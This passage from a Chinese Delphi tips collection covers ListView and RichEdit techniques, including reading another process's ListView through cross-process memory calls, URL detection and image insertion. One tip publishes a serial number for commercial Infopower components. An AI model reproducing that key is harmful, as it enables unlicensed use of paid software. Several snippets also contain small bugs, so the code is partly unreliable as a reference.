{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.dfm}

uses CommCtrl;

function VirtualAllocEx(hProcess: Cardinal; lpAddress: Pointer;

dwSize, flAllocationType, flProtect: Cardinal): Pointer; stdcall;

external kernel32 name ''VirtualAllocEx'';

function VirtualFreeEx(hProcess: Cardinal; lpAddress: Pointer;

dwSize, dwFreeType: Cardinal): Boolean; stdcall;

external kernel32 name ''VirtualFreeEx'';

const cHotKeyWinF2 = 1;

procedure TForm1.FormCreate(Sender: TObject);

begin

Application.Title := ''获取ListView内容 1.0'';

Caption := Application.Title;

RegisterHotKey(Handle, cHotKeyWinF2, MOD_WIN, VK_F2);

end;

procedure TForm1.WMHOTKEY(var Msg: TWMHOTKEY);

var

I, J: Integer;

S: string;

vItem: TLVItem;

vCount: Integer;

vHandle: THandle;

vBuffer: array[0..255] of Char;

pBuffer: PChar;

vProcess: THandle;

vProcessId: DWORD;

vPointer: Pointer;

vNumberOfBytesRead: Cardinal;

begin

case Msg.HotKey of

cHotKeyWinF2: begin

MemoText.Clear;

FillChar(vBuffer, 256, 0);

vHandle := WindowFromPoint(Point(Mouse.CursorPos.X, Mouse.CursorPos.Y));

vCount := ListView_GetItemCount(vHandle);

if vCount = 0 then Exit;

GetWindowThreadProcessId(vHandle, @vProcessId);

vProcess := OpenProcess(PROCESS_VM_OPERATION or PROCESS_VM_READ or

PROCESS_VM_WRITE, False, vProcessId);

vPointer := VirtualAllocEx(vProcess, nil, 4096, MEM_RESERVE or MEM_COMMIT,

PAGE_READWRITE);

try

for I := 0 to vCount - 1 do begin

S := '''';

for J := 0 to StrToIntDef(EditCount.Text, 0) - 1 do begin

with vItem do begin

mask := LVIF_TEXT;

iItem := I;

iSubItem := J;

cchTextMax := 255;

pszText := Pointer(Cardinal(vPointer) + SizeOf(TLVItem));

end;

WriteProcessMemory(vProcess, vPointer, @vItem,

SizeOf(TLVItem), vNumberOfBytesRead);

SendMessage(vHandle, LVM_GETITEM, I, lparam(vPointer));

pBuffer := vBuffer;

ReadProcessMemory(vProcess, Pointer(Cardinal(vPointer) + SizeOf(TLVItem)),

pBuffer, DWORD(256), vNumberOfBytesRead);

S := S + #9 + vBuffer;

end;

Delete(S, 1, 1);

MemoText.Lines.Add(S);

end;

finally

VirtualFreeEx(vProcess, vPointer, 0, MEM_RELEASE);

CloseHandle(vProcess);

end;

end;

end;

end;

procedure TForm1.FormDestroy(Sender: TObject);

begin

UnRegisterHotKey(Handle, cHotKeyWinF2);

end;

end.

附件>>>> GrabListView.zip


TListView在XP中的补丁程序

TListView在XP中的补丁程序

{

  在Windows XP下使用vsReport方式的TListView组件会导致出错。

  它的VCL里有一个臭虫，需要打个补丁。

  把下面的comctrls.pas拷贝到你的应用程序路径之下然后编译该程序。

  这个文件修改了原先的UpdateColumn方法。

  你的程序可以直接使用新的comctrls.dcu，你可以用它覆盖原先的组件。

}

// ComCtrls.pas:

procedure TCustomListView.UpdateColumn(AnIndex: Integer);

{...}

with Column, Columns.Items[AnIndex] do

begin

{ PATCH start:}

// mask := LVCF_TEXT or LVCF_FMT or LVCF_IMAGE;

mask := LVCF_TEXT or LVCF_FMT;

if FImageIndex > = 0 then

mask := mask or LVCF_IMAGE;

{ PATCH :end }

{...}

end;

附件>>>> ComCtrls.dcu


实现windows桌面上拖动图标的界面

宋体 如何实现windows桌面上拖动图标的界面

宋体 //用TListView把TListView放在form上，设定align:=alclient;

添加几个ListItem,设定大图标，ListView.viewstyle:=vsicon

下面是代码

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

ImgList, ComCtrls;

type

TForm1 = class(TForm)

fghd: TListView;

ImageList1: TImageList;

procedure fghdDragOver(Sender, Source: TObject; X, Y: Integer;

State: TDragState; var Accept: Boolean);

procedure fghdDragDrop(Sender, Source: TObject; X, Y: Integer);

procedure fghdMouseDown(Sender: TObject; Button: TMouseButton;

Shift: TShiftState; X, Y: Integer);

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.fghdDragOver(Sender, Source: TObject; X, Y: Integer;

State: TDragState; var Accept: Boolean);

begin

accept:=Source is TlistView

end;

procedure TForm1.fghdDragDrop(Sender, Source: TObject; X, Y: Integer);

var

PosPoint:TPoint;

begin

PosPoint.x:=x;

PosPoint.y:=Y;

(Source As TListView).Selected.SetPosition(PosPoint);

end;

procedure TForm1.fghdMouseDown(Sender: TObject; Button: TMouseButton;

Shift: TShiftState; X, Y: Integer);

begin

if button=mbleft then

begin

with sender as TListview do

begin

if GetItemAt(x,y)<>nil then

begindrag(false);

end;

end;

end;

end.


如何用ListView显示、处理上百万的数据

用ListView处理显示百万以上的数据，如果用传统的方法，即使使用BeginUpdate,EndUpdate，速度也远远不能满足要求，这个时候就要使用ListView的OwnerData功能了！OwnerData允许使用一个Vitual ListView和内存中的数据对应，我们只要在OnData中返回数据即可。

OnData有一个参数Item，其中Item.Index就是第N项需要显示的数据！

另外还可以利用OnDataHint，当数据发生变化的时候，进行的处理。具体的请参考Delphi的Demo VirtualListView。注意，一定要设置ListView.Items.Count属性，否则不会显示数据。


ListView的不同行的颜色不同显示

如上图，代码类似下面：注意，ListView的OwnerDraw应该设置为False！

然后在CustDrawItem中，添加代码：

if Item.Index mod 2 =0 then

Sender.Canvas.Brush.Color :=clSkyBlue

else

Sender.Canvas.Brush.Color :=clWhite;


获取Richedit的可见的起始行和最后可见行号

起始行：

用EM_GETFIRSTVISIBLELINE消息即可。

结束行：

Var

r: TRect;

lastvisibleline, lastlineindex: Integer;

Begin

richedit1.perform( EM_GETRECT, 0, longint( @r ));

r.left := r.left+1;

r.top := r.bottom - 2;

lastlineindex := richedit1.perform( EM_CHARFROMPOS, 0,integer(@r.topleft));

lastvisibleline := richedit1.perform( EM_EXLINEFROMCHAR, 0,lastlineindex);

end;

************************

function RE_GetLastVisibleLine(RichEdit: TRichEdit): Integer;

const

EM_EXLINEFROMCHAR = WM_USER + 54;

var

r: TRect;

i: Integer;

begin

{

The EM_GETRECT message retrieves the formatting rectangle

of an edit control.

}

RichEdit.Perform(EM_GETRECT, 0, Longint(@r));

r.Left := r.Left + 1;

r.Top := r.Bottom - 2;

{

The EM_CHARFROMPOS message retrieves information about the character

closest to a specified point in the client area of an edit control

}

i := RichEdit.Perform(EM_CHARFROMPOS, 0, Integer(@r.topleft));

{

The EM_EXLINEFROMCHAR message determines which

line contains the specified character in a rich edit control

}

Result := RichEdit.Perform(EM_EXLINEFROMCHAR, 0, i);

end;

{

Sending the EM_GETFIRSTVISIBLELINE message to a multi-line edit control

finds out which line is the first line visible.

This is the line that is currently displayed at the top of the control.

}

function RE_GetFirstVisibleLine(RichEdit: TRichEdit): Integer;

begin

Result := RichEdit.Perform(EM_GETFIRSTVISIBLELINE, 0, 0);

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

Caption:=Format('%d,%d',[RE_GetFirstVisibleLine(RichEdit1),RE_GetLastVisibleLine(RichEdit1)]);

end;


根据文本的高度确定RichEdit的高度

还有点小问题，文本不能小于2行。你再完善一下吧。

procedure TForm1.Button2Click(Sender: TObject);

var

sInfo : tagSCROLLINFO;

begin

sInfo.cbSize := SizeOf(TScrollInfo);

sInfo.fMask := SIF_RANGE;

RichEdit1.Height := 0;

GetScrollInfo(Richedit1.Handle, SB_VERT, sInfo);

RichEdit1.Height := sInfo.nMax + RichEdit1.Font.Size;

end;

sInfo.nmax是滚动条的高度。这个方法要比去判断文本的高度方便的多。

因为无论怎样，滚动条的高度是和文本的高度一样的。


RichEdit2.0

可以用 Infopower的控件，它里面有个TwwRichEdit, 支持2.0的。

可以在 Infopower站上 http://www.woll2woll.com/downloadinfo.html 载到.

S/N: IP8250248391

附件中的是RxRichEdit2.0的控件！修改过的，可以支持Unicode。

这个RxRichEdit2.0的控件是MyBase的作者修改过的，因为版权的原因和其他的一些原因，我没有得到作者允许，不能公布出来，所以请大家原谅！此外还有一个我修改过的RxDBRichEdit，两个控件都是可以单独安装使用的。包括一个RichEdit的属性编辑器，是Kingron编写，保留版权。

附件>>>> RichEdit2.0


RichEdit2.0 URL的原理

有一回我在Microsoft Word里面写一个程序文档，当我输入"http://"的时候，这几个字被高亮显示了。完成网址输入后，甚至还加上了下划线。我把鼠标移到URL上，指针变成了手形。点击之后，IE窗口出现了，并把我带到那个站点。当时我老板看到了这一幕，然后他叫起来："就是它！我们也要实现这种效果！"

于是我开始考虑哪个控件比较合适用来实现这种效果。我只想到RichEdit。效果有三个要素：

1、 必须能检测到URL。

2、必须能检测到鼠标在URL上的移动，变化鼠标指针。

2、 URL被点击时，要启动IE，启动正确的页面。

RichEdit与URL检测

试着搜索一下riched*.dll，你会找到两个--RICHED32.DLL和RICHED20.DLL--位于windows或winnt文件夹中。前一个文件实现RichEdit 1.0版本的特性，后一个文件实现新的2.0版特性。

Delphi的RichEdit组件没有实现URL检测。看看RichEdit的源码（comctrls.pas），你会发现Borland仍然是用RichEdit 1.0版本。很不幸，因为Microsoft RichEdit控制的2.0版本支持URL检测和其它很多有用的特性。

重建RichEdit--技术不是问题！

只需要做一件事--基于新的RichEdit 2.0版本重写Borland组件。

首先，我把comctrls.pas文件拷贝成新文件，命名为Riched20.pas。把所有的类删掉，只剩下和TcustomRichEdit类有关的。然后把类重命名为TextCustomRichEdit。现在开始重建2.0版本的RichEdit。

在CreateParams过程中，把RichEditmoduleName常量的分配从RICHED32.DLL改为RICHED20.DLL（见代码段一）。同样要修改CreateSubClass过程，因为它也使用旧版本。有两个可供使用的类--ANSI和UNICODE，分别包括了RICHEDIT_CLASSA和RICHEDIT_CLASSW常量。我打算用ANSI版本的RichEdit类，也就是RICHEDIT_CLASSA。

代码段一基于Microsoft RichEdit 2.0的新Delphi RichEdit组件的CreateParams过程

procedure TExtCustomRichEdit.CreateParams

(var Params: TCreateParams);

const

// Use vers 2.0 of RichEdit, previously RICHED32.DLL

RichEditModuleName = 'RICHED20.DLL';

HideScrollBar : array[Boolean] of DWORD =

(ES_DISABLENOSCROLL, 0);

HideSelections: array[Boolean] of DWORD =

(ES_NOHIDESEL, 0);

begin

if FRichEditModule = 0 then

begin

FRichEditModule :=

LoadLibrary(RichEditModuleName);

if FRichEditModule <= HINSTANCE_ERROR then

FRichEditModule := 0;

end;

inherited CreateParams(Params);

CreateSubClass(Params, RICHEDIT_CLASSA);

with Params do

begin

Style := Style or HideScrollBar[HideScrollBars] or

HideSelections[HideSelection];

WindowClass.style := WindowClass.style and not

(CS_HREDRAW or CS_VREDRAW);

end;

end;

URL检测

为了让组件收到EN_LINK消息，在发送EM_SETEVENTMASK的时候，包括了ENM_LINK消息（见代码段二）。同样，创建窗口时，发送一条EM_AUTOURLDETECT消息，激活CFE_LINK效果。这个效果变化URL的颜色，并且加上下划线。

代码段二CreateWnd过程

procedure TExtCustomRichEdit.CreateWnd;

var

Plain, DesignMode, WasModified: Boolean;

begin

WasModified := inherited Modified;

inherited CreateWnd;

if (SysLocale.FarEast) and

not (SysLocale.PriLangID = LANG_JAPANESE) then

Font.Charset := GetDefFontCharSet;

// 添加 ENM_LINK，以接收 EN_LINK 消息

SendMessage(Handle, EM_SETEVENTMASK, 0,

ENM_CHANGE or ENM_SELCHANGE or

ENM_REQUESTRESIZE or

ENM_PROTECTED or ENM_LINK);

// 激活URL检测特性

SendMessage(Handle, EM_AUTOURLDETECT,

Ord(FURLDetect), 0);

SendMessage(Handle, EM_SETBKGNDCOLOR, 0,

ColorToRGB(Color));

if FMemStream <> nil then

begin

Plain := PlainText;

FMemStream.ReadBuffer(DesignMode,

sizeof(DesignMode));

PlainText := DesignMode;

try

Lines.LoadFromStream(FMemStream);

FMemStream.Free;

FMemStream := nil;

finally

PlainText := Plain;

end;

end;

Modified := WasModified;

end;

鼠标指针移到URL文字上时，RichEdit控件接收到一条EN_LINK通知。这样，控件就可以改变鼠标指针形状，引导用户点击URL，启动正确的浏览器（见代码段三）。

代码段三改变鼠标指针形状

procedure TExtCustomRichEdit.CNNotify

(var Message: TWMNotify);

type

PENLink = ^TENLink;

begin

with Message do

case NMHdr^.code of

EN_SELCHANGE:

SelectionChange;

EN_REQUESTRESIZE:

RequestSize(PReqSize(NMHdr)^.rc);

EN_SAVECLIPBOARD:

with PENSaveClipboard(NMHdr)^ do

if not SaveClipboard(cObjectCount, cch)

then Result := 1;

EN_PROTECTED:

with PENProtected(NMHdr)^.chrg do

if not ProtectChange(cpMin, cpMax) then

Result := 1;

// 收到EN_LINK 消息，做出回应

EN_LINK:

begin

Windows.SetCursor

(Screen.Cursors[crHandPoint]);

if PEnLink(NMHdr)^.msg = WM_LBUTTONDOWN then

begin

// 设置选择范围

SendMessage(Handle, EM_EXSETSEL, 0,

Longint(@PEnLink(NMHdr)^.chrg));

// 传递给Windows并打开

ShellExecute(handle, 'open',

PChar(GetSelText), nil, nil,

SW_SHOWNORMAL);

end;

end;

end;

end;

收到消息后，EN_LINK消息包括了一个NMHdr结构，指向ENLINK结构，如下所示：

ENLINK = record

nmhdr: TNMHdr;

msg: UINT;

wParam: WPARAM;

lParam: LPARAM;

chrg: TCharRange;

end;

可以把NMHdr结构指派到ENLINK结构，以得到包括WM_LBUTTONCLICK消息的msg域。Chrg变量包含地址和URL的长度。

_charrange = record

cpMin: Longint;

cpMax: LongInt;

end;

导航到URL

使用chrg变量传递EM_EXSETSEL消息，以得到URL文字，设置选择范围。

SendMessage(Handle, EM_EXSETSEL, 0,

Longint(@PEnLink(NMHdr)^.chrg));

执行ShellExecute，运行浏览器：

ShellExecute(handle, 'open', PChar(GetSelText),

nil, nil, SW_SHOWNORMAL);

设置URL检测属性

为TextRichEdit创建一个名为URLDetect的属性：

property URLDetect : boolean

read FURLDetect

write SetURLDetect

default FALSE;

键入以下代码。当URLDetect属性被设置时，调用RecreateWnd函数，重新激活CreateWnd过程，刷新当前的RichEdit，打开/关闭AutoURL检测特性。

procedure TExtCustomRichEdit.SetURLDetect(

Value: boolean);

begin

if URLDetect <> Value then

begin

FURLDetect:= Value;

RecreateWnd;

end;

end;

小结

图一展示了用新RichEdit 2.0组件实现的示例程序。支持http:,file:,mailto:,https:,gopher:,news:,nntrp:,properto:,telnet:和wais。

图二

通过利用Microsoft RichEdit 2.0创建组件，就可以使用URL检测特性了。看看2.0版支持的其它特性，肯定还有别的好东东。


TRichEdit实现URL

TRichEdit实现URL

Author: Mike Shkolnik

{....}

protected

procedure WndProc(var Message: TMessage); override;

{....}

uses Richedit, ShellApi;

{Today I want to show how to implement URL highlighting and URL navigation

without any third-party components. This functionality is implemented in

RichEdit from Microsoft (and MS Outlook use this feature, for example) and

only Borland's developers didn't publish it for us.}

procedure TForm1.FormCreate(Sender: TObject);

var

mask: Word;

begin

mask := SendMessage(RichEdit1.Handle, EM_GETEVENTMASK, 0, 0);

SendMessage(RichEdit1.Handle, EM_SETEVENTMASK, 0, mask or ENM_LINK);

SendMessage(RichEdit1.Handle, EM_AUTOURLDETECT, Integer(True), 0);

//Some text in RichEdit

RichEdit1.Text := 'Scalabium Software'#13#10 +

' Site is located at www.scalabium.com. Welcome to our site.';

end;

procedure TForm1.WndProc(var Message: TMessage);

var

p: TENLink;

strURL: string;

begin

if (Message.Msg = WM_NOTIFY) then

begin

if (PNMHDR(Message.lParam).code = EN_LINK) then

begin

p := TENLink(Pointer(TWMNotify(Message).NMHdr)^);

if (p.Msg = WM_LBUTTONDOWN) then

begin

SendMessage(RichEdit1.Handle, EM_EXSETSEL, 0, Longint(@(p.chrg)));

strURL := RichEdit1.SelText;

ShellExecute(Handle, 'open', PChar(strURL), 0, 0, SW_SHOWNORMAL);

end

end

end;

inherited;

end;


Richedit中插入图片

uses

RichEdit;

// Stream Callback function

type

TEditStreamCallBack = function(dwCookie: Longint; pbBuff: PByte;

cb: Longint; var pcb: Longint): DWORD;

stdcall;

TEditStream = record

dwCookie: Longint;

dwError: Longint;

pfnCallback: TEditStreamCallBack;

end;

// RichEdit Type

type

TMyRichEdit = TRxRichEdit;

// EditStreamInCallback callback function

function EditStreamInCallback(dwCookie: Longint; pbBuff: PByte;

cb: Longint; var pcb: Longint): DWORD; stdcall;

// by P. Below

var

theStream: TStream;

dataAvail: LongInt;

begin

theStream := TStream(dwCookie);

with theStream do

begin

dataAvail := Size - Position;

Result := 0;

if dataAvail <= cb then

begin

pcb := read(pbBuff^, dataAvail);

if pcb <> dataAvail then

Result := UINT(E_FAIL);

end

else

begin

pcb := read(pbBuff^, cb);

if pcb <> cb then

Result := UINT(E_FAIL);

end;

end;

end;

// Insert Stream into RichEdit

procedure PutRTFSelection(RichEdit: TMyRichEdit; SourceStream: TStream);

// by P. Below

var

EditStream: TEditStream;

begin

with EditStream do

begin

dwCookie := Longint(SourceStream);

dwError := 0;

pfnCallback := EditStreamInCallBack;

end;

RichEdit.Perform(EM_STREAMIN, SF_RTF or SFF_SELECTION, Longint(@EditStream));

end;

// Convert Bitmap to RTF Code

function BitmapToRTF(pict: TBitmap): string;

// by D3k

var

bi, bb, rtf: string;

bis, bbs: Cardinal;

achar: ShortString;

hexpict: string;

I: Integer;

begin

GetDIBSizes(pict.Handle, bis, bbs);

SetLength(bi, bis);

SetLength(bb, bbs);

GetDIB(pict.Handle, pict.Palette, PChar(bi)^, PChar(bb)^);

rtf := '{{';

SetLength(hexpict, (Length(bb) + Length(bi)) * 2);

I := 2;

for bis := 1 to Length(bi) do

begin

achar := Format('%x', [Integer(bi[bis])]);

if Length(achar) = 1 then

achar := '0' + achar;

hexpict[I - 1] := achar[1];

hexpict[I] := achar[2];

Inc(I, 2);

end;

for bbs := 1 to Length(bb) do

begin

achar := Format('%x', [Integer(bb[bbs])]);

if Length(achar) = 1 then

achar := '0' + achar;

hexpict[I - 1] := achar[1];

hexpict[I] := achar[2];

Inc(I, 2);

end;

rtf := rtf + hexpict + ' }}';

Result := rtf;

end;

// Example to insert image from Image1 into RxRichEdit1

procedure TForm1.Button1Click(Sender: TObject);

var

SS: TStringStream;

BMP: TBitmap;

begin

BMP := TBitmap.Create;

BMP := Image1.Picture.Bitmap;

SS := TStringStream.Create(BitmapToRTF(BMP));

try

PutRTFSelection(RxRichEdit1, SS);

finally

SS.Free;

end;

end;

****************************************

下面的代码可以不调用那个InsertObject的对话框而直接插入一张图片：

var

Bmp:TBitmap;

begin

if not OpenPictureDialog1.Execute then exit;

Bmp:=TBitmap.Create;

Bmp.LoadFromFile(OpenPictureDialog1.FileName);

Clipboard.Assign(BMP);

RxRichEdit201.PasteFromClipboard;

Bmp.Free;

end;

**************************************

： TechnoFantasy(www.applevb.com)

RichEdit中，插入图片

代码:

procedure proPrintRTFWithBMP(strCaption,strPic,strTitle:string;rtf:TRichEdit);

{strText为要打印的文本 strCaption为打印标题 strPic为图像文件目录

strTitle为要显示在图像右侧的图像标题}

var

FRTF:IRichEditOle;

FOLE:IOLEObject;

formatEtc:tagFORMATETC;

FStorage :ISTORAGE;

FClientSite:IOLECLIENTSITE;

FLockBytes:ILockBytes;

ReObject:TReObject;

xt:TGuid;

FTemp:IUnknown;

strTemp:string;

bCreateNew:boolean;

ABMP:TBitmap;

Ajpeg:TJpegImage;

i:Longint;

begin

// rtfTemp:=TRichEdit.Create(frmPrintFrame);

try

{ with rtfTemp do

begin

Parent := frmPrintFrame;

width:=200;

height:=200;

visible:=false;

Text := strText;

end; }

//图片文件不存在，直接打印文本并退出

if not fileexists(strPic)then

begin

PrintRichEdit(strCaption,rtf);

exit;

end;

abmp:=TBitmap.Create;

ajpeg:= TJpegImage.Create;

try

if ExtractFileExt(strPic)='.jpg' then

begin

bCreateNew:=true;

ajpeg.LoadFromFile(strPic);

abmp.Assign(ajpeg);

strTemp:=ExtractFilePath(strPic)+'0099www.bmp';

abmp.SaveToFile(strTemp);

for i:=1 to 30000 do

application.ProcessMessages;

end

else

strTemp:= strPic;

finally

abmp.Free;

ajpeg.free;

abmp:=nil;

ajpeg:=nil;

end;

sendmessage(rtf.handle,EM_GETOLEINTERFACE,0,LongInt(@FRTF));

if not assigned(FRTF)then

begin

showmessage('Error to get Richedit OLE interface');

exit;

end;

//建立一个可以访问全局内存的Byte数组 FLockBytes

//返回ILockBytes接口

if CreateILockBytesOnHGlobal(0,true,FLockBytes)<>S_OK then

begin

showmessage('Error to create Global Heap');

exit;

end;

//建立一个混合文档存取对象

if StgCreateDocfileOnILockBytes(FLockBytes,STGM_SHARE_EXCLUSIVE or

STGM_CREATE or STGM_READWRITE,0,FStorage)<>S_OK then

begin

showmessage('Error to create storage');

exit;

end;

formatEtc.cfFormat := 0;

FormatEtc.ptd := nil;

FormatEtc.dwAspect := DVASPECT_CONTENT;

FormatEtc.lindex := -1;

FormatEtc.tymed := TYMED_NULL;

FRTF.GetClientSite(FClientSite);

//从文件中创建一个OLE对象

if OleCreateFromFile(GUID_NULL,PWideChar(WideString(strTemp)),IID_IUnknown,0,@formatEtc,

FClientSite,FStorage,FOLE)<>S_OK then

begin

showmessage('Error');

exit;

end;

//现在的FOLE还是一个IUnKnown接口，将其转换为一个 IOleObject接口

FTemp:=FOLE;

FTemp.QueryInterface(IID_IOleObject, FOle);

OleSetContainedObject(FOle, TRUE);

//step 2

reobject.cbStruct := sizeof(TReObject);

FOLE.GetUserClassID(xt);

ReObject.clsid := xt;

reobject.cp := ULong(REO_CP_SELECTION);

reobject.dvaspect := DVASPECT_CONTENT;

reobject.dwFlags := ULong(REO_RESIZABLE) or ULong(REO_BELOWBASELINE);

reobject.dwUser := 0;

reobject.poleobj := FOle;

reobject.polesite := FClientSite;

reobject.pstg := FStorage;

reobject.sizel.cx := 0;

reobject.sizel.cy := 0;

FRTF.InsertObject(reobject);

PrintRichEdit(strCaption,rtf);

finally

if bCreateNew then

Deletefile(strTemp);

FRTF:=nil;

FOLE:=nil;

end;

end;

上面的代码是一个在RTF控件当前位置插入图像并打印的，你运行上面的代码需要首先引用

ActiveX, ComObj, RichEdit, Jpeg

并且将PrintRichEdit(strCaption,rtf);去掉

以下的结构是需要手工加入的：

type

_ReObject = record

cbStruct: DWORD; { Size of structure }

cp: ULONG; { Character position of object }

clsid: TCLSID; { Class ID of object }

poleobj: IOleObject; { OLE object interface }

pstg: IStorage; { Associated storage interface }

polesite: IOleClientSite; { Associated client site interface }

sizel: TSize; { Size of object (may be 0,0) }

dvAspect: Longint; { Display aspect to use }

dwFlags: DWORD; { Object status flags }

dwUser: DWORD; { Dword for user's use }

end;

TReObject = _ReObject;

type

IRichEditOle = interface(IUnknown)

['{00020d00-0000-0000-c000-000000000046}']

function GetClientSite(out clientSite: IOleClientSite): HResult; stdcall;

function GetObjectCount: HResult; stdcall;

function GetLinkCount: HResult; stdcall;

function GetObject(iob: Longint; out reobject: TReObject;

dwFlags: DWORD): HResult; stdcall;

function InsertObject(var reobject: TReObject): HResult; stdcall;

function ConvertObject(iob: Longint; rclsidNew: TIID;

lpstrUserTypeNew: LPCSTR): HResult; stdcall;

function ActivateAs(rclsid: TIID; rclsidAs: TIID): HResult; stdcall;

function SetHostNames(lpstrContainerApp: LPCSTR;

lpstrContainerObj: LPCSTR): HResult; stdcall;

function SetLinkAvailable(iob: Longint; fAvailable: BOOL): HResult; stdcall;

function SetDvaspect(iob: Longint; dvaspect: DWORD): HResult; stdcall;

function HandsOffStorage(iob: Longint): HResult; stdcall;

function SaveCompleted(iob: Longint; const stg: IStorage): HResult; stdcall;

function InPlaceDeactivate: HResult; stdcall;

function ContextSensitiveHelp(fEnterMode: BOOL): HResult; stdcall;

function GetClipboardData(var chrg: TCharRange; reco: DWORD;

out dataobj: IDataObject): HResult; stdcall;

function ImportDataObject(dataobj: IDataObject; cf: TClipFormat;

hMetaPict: HGLOBAL): HResult; stdcall;

end;

Type TCharRange=record

cpMin:integer;

cpMax:integer;

End;

Type TFormatRange=record

hdc : Integer;

hdcTarget:integer;

rectRegion:trect;

rectPage:trect;

chrg : TCharRange;

End;

************************************

以下不通过剪切板而直接在Richedit中插入一张图片：

var

frmMain: TfrmMain;

implementation

{$R *.DFM}

{$R Smiley.res}

uses

RichEdit;

type

TEditStreamCallBack = function(dwCookie: Longint; pbBuff: PByte;

cb: Longint; var pcb: Longint): DWORD;

stdcall;

TEditStream = record

dwCookie: Longint;

dwError: Longint;

pfnCallback: TEditStreamCallBack;

end;

type

TMyRichEdit = TRxRichEdit;

// EditStreamInCallback callback function

function EditStreamInCallback(dwCookie: Longint; pbBuff: PByte;

cb: Longint; var pcb: Longint): DWORD; stdcall;

var

theStream: TStream;

dataAvail: LongInt;

begin

theStream := TStream(dwCookie);

with theStream do

begin

dataAvail := Size - Position;

Result := 0;

if dataAvail <= cb then

begin

pcb := read(pbBuff^, dataAvail);

if pcb <> dataAvail then

Result := UINT(E_FAIL);

end

else

begin

pcb := read(pbBuff^, cb);

if pcb <> cb then

Result := UINT(E_FAIL);

end;

end;

end;

// Insert Stream into RichEdit

procedure PutRTFSelection(RichEdit: TMyRichEdit; SourceStream: TStream);

var

EditStream: TEditStream;

begin

with EditStream do

begin

dwCookie := Longint(SourceStream);

dwError := 0;

pfnCallback := EditStreamInCallBack;

end;

RichEdit.Perform(EM_STREAMIN, SF_RTF or SFF_SELECTION, Longint(@EditStream));

end;

// Load a smiley image from resource

function GetSmileyCode(ASimily: string): string;

var

dHandle: THandle;

pData, pTemp: PChar;

Size: Longint;

begin

pData := nil;

dHandle := FindResource(hInstance, PChar(ASimily), RT_RCDATA);

if dHandle <> 0 then

begin

Size := SizeofResource(hInstance, dHandle);

dhandle := LoadResource(hInstance, dHandle);

if dHandle <> 0 then

try

pData := LockResource(dHandle);

if pData <> nil then

try

if pData[Size - 1] = #0 then

begin

Result := StrPas(pTemp);

end

else

begin

pTemp := StrAlloc(Size + 1);

try

StrMove(pTemp, pData, Size);

pTemp[Size] := #0;

Result := StrPas(pTemp);

finally

StrDispose(pTemp);

end;

end;

finally

UnlockResource(dHandle);

end;

finally

FreeResource(dHandle);

end;

end;

end;

procedure InsertSmiley(ASmiley: string);

var

ms: TMemoryStream;

s: string;

begin

ms := TMemoryStream.Create;

try

s := GetSmileyCode(ASmiley);

if s <> '' then

begin

ms.Seek(0, soFromEnd);

ms.Write(PChar(s)^, Length(s));

ms.Position := 0;

PutRTFSelection(frmMain.RXRichedit1, ms);

end;

finally

ms.Free;

end;

end;

procedure TfrmMain.SpeedButton1Click(Sender: TObject);

begin

InsertSmiley('Smiley1');

end;

procedure TfrmMain.SpeedButton2Click(Sender: TObject);

begin

InsertSmiley('Smiley2');

end;

// Replace a :-) or :-( with a corresponding smiley

procedure TfrmMain.RxRichEdit1KeyPress(Sender: TObject; var Key: Char);

var

sCode, SmileyName: string;

procedure RemoveText(RichEdit: TMyRichEdit);

begin

with RichEdit do

begin

SelStart := SelStart - 2;

SelLength := 2;

SelText := '';

end;

end;

begin

If (Key = ')') or (Key = '(') then

begin

sCode := Copy(RxRichEdit1.Text, RxRichEdit1.SelStart-1, 2) + Key;

SmileyName := '';

if sCode = ':-)' then SmileyName := 'Smiley1';

if sCode = ':-(' then SmileyName := 'Smiley2';

if SmileyName <> '' then

begin

Key := #0;

RemoveText(RxRichEdit1);

InsertSmiley('Smiley1');

end;

end;

end;


设置Richedit的Tab位

设置richedit的段落格式（TAB）：

var

info:_PARAFORMAT;

i:integer;

begin

info.cbSize:=sizeof(info);

info.dwMask:=$FFFFFF;

sendmessage(richedit1.Handle, EM_GETPARAFORMAT ,0,integer(@(info)));

for i:=0 to 31 do

info.rgxTabs[i]:=(richedit1.Font.PixelsPerInch-6)*(i+1);

info.dwMask:=PFM_TABSTOPS;

info.cTabCount:=31;

sendmessage(richedit1.Handle, EM_SETPARAFORMAT ,0,integer(@(info)));

end;

************

procedure SetTabstops()

var

TabStops: array[0..3] of word;

begin

TabStops[0]:=10;

TabStops[1]:=20;

TabStops[2]:=30;

TabStops[3]:=40;

TS:=SendMessage(RichEdit.Handle, EM_SETTABSTOPS, 4, LPARAM(@TabStops));

end;

对于Memo也是一样的


Richedit文本大小问题

TRichEdit可以，但缺省支持32k大小，如果需要支持大文件，使用如下语句即可：

SendMessage(RichEdit1.Handle,WM_USER+53,0,$7FFFFFFF);

Delphi的封装没有问题。


RichEdit的文本背景颜色

如何在richedit中设置字体的背景色？

在richedit中，要填充一个CHARFORMAT结构，再用这个结构的指针作为参数给richedit发

EM_SETCHARFORMAT的消息。我们可以在delphi目录下的richedit.pas文件里找到这个CHARFORMAT

的Delphi原型TCHARFORMAT,但是可以发现这个CHARFORMAT里只有一个crTextColor字段是用来描述

字体颜色的，并没有描述背景色的字段，难道RichEdit真的就不直接支持背景色了么？可以做

个实验：在word里编辑几个有背景颜色的字（谁说word不可以设置字体背景色的），选中COPY,

再编译运行Delphi的RichEdit的那个Demo程序，在里面选paste,可以看到字体的背景色是正常

显示出来了。说明RichEdit是可以完成这工作的，只是我们没掌握正确方法。查阅大量资料，

发现EM_SETCHARFORMAT消息还可以传递另外一个结构:CHARFORMAT2,这个结构是CHARFORMAT的

增强版本，里面可以支持字距/背景色/动画显示效果等增强功能，只是需要注意需要有2.0版本

的richEdit支持（目前的系统里几乎都会有的）。了解了这些以后我们就可以开始着手实验了：

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

Dialogs, StdCtrls, ComCtrls,richedit;//注意要加上RichEdit的引用

type

TForm1 = class(TForm)

RichEdit1: TRichEdit;

Button1: TButton;

procedure Button1Click(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);

var Fmt :TCharFormat2;

begin

